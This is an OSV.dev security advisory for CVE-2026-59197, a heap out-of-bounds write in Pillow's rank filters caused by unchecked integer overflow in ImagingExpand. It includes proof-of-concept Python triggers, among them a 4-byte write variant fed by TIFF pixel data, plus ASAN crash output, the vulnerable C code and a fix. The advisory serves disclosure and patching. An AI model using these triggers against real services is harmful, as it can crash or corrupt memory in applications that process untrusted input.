---
schema_version: '1.0'
id: security-20260721-871179
url: https://osv.dev/vulnerability/GHSA-xj96-63gp-2gmr
url_hash: 87117912c4aa4dc5be06bfa3d0432ad9276c6034bfee43dd995acbea5fbd98b8
canonical_url: https://osv.dev/vulnerability/GHSA-xj96-63gp-2gmr
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-59197
- GHSA-xj96-63gp-2gmr
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
- pillow
- PyPI
lang: en
published_at: '2026-07-20T23:08:58Z'
fetched_at: '2026-07-21T06:55:47.644640Z'
updated_at: '2026-07-21T06:56:19Z'
status: published
content_hash: 8454457c64ed9aa57c805a0ea06771d046bdcac047d0abb1315935deafc9f2ff
content_changed_at: null
license_note: full
summary: 'Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer
  overflow in `ImagingExpand`'
summary_source: rss
summary_en: 'Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer
  overflow in `ImagingExpand`'
entities:
- name: write-capable token
  type: artifact
key_facts: []
related: []
related_auto:
- name: CI
  type: artifact
  weight: 1.0
title: 'CVE-2026-59197: Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter`
  via integer overflow in `ImagingExpand`'
---

# CVE-2026-59197: Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

## TL;DR
Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

## Key Points
- cve / CVE-2026-59197 / GHSA-xj96-63gp-2gmr / severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H / pillow / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
**Advisory:** GHSA-xj96-63gp-2gmr (CVE-2026-59197)

**Affected (your watchlist):**
- `PyPI:pillow` 12.1.1 → fixed in 12.3.0 [docker/docker-llmwiki]
- `PyPI:pillow` 12.2.0 → fixed in 12.3.0 [docker/local+docker/mac]

**Details:**
### Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.

Minimal public API trigger:

```python
from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
```

`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`
before rank-filter size validation. With `size = 4294967295`, the
expansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes
the output dimensions with unchecked signed `int` arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.

This is reachable through documented public classes (`RankFilter`,
`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom
Python object is needed.

### Details

Current `src/PIL/ImageFilter.py`:

```python
class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)
```

The `expand()` call is made before `image.rankfilter(...)`.

Current `src/libImaging/Filter.c:ImagingExpand()` does not check output-size
overflow:

```c
if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);
```

For a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size
wraps to `1x1` on tested builds. The following loop still uses the huge margin:

```c
for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}
```

`src/libImaging/RankFilter.c` does contain checks that would reject this size:

```c
if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}
```

But  those checks are reached only after `RankFilter.filter()` has already
called `image.expand(...)`.

Mode `"L"` produces 1-byte OOB stores. Modes `"I"` and `"F"` produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.

### PoC

Minimal ASAN crash PoC:

```python
from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
```

Observed on local Pillow `12.3.0.dev0` ASAN target:

```text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation
```

4-byte write variant with source pixel loaded from normal image bytes:

```python
from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))
```

Observed ASAN signature:

```text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation
```

Version checks:

```text
Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
```

### Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode `"I"` images.


## Possible fix

Validate the rank-filter size before calling `image.expand(...)`, and harden
`ImagingExpand()` against invalid margins and overflow:

```c
if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
```

**References:**
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr
- https://nvd.nist.gov/vuln/detail/CVE-2026-59197
- https://github.com/python-pillow/Pillow/pull/9695
- https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/12.3.0

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-xj96-63gp-2gmr_

## Source
元記事: [CVE-2026-59197: Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`](https://osv.dev/vulnerability/GHSA-xj96-63gp-2gmr) — published 2026-07-20T23:08:58Z
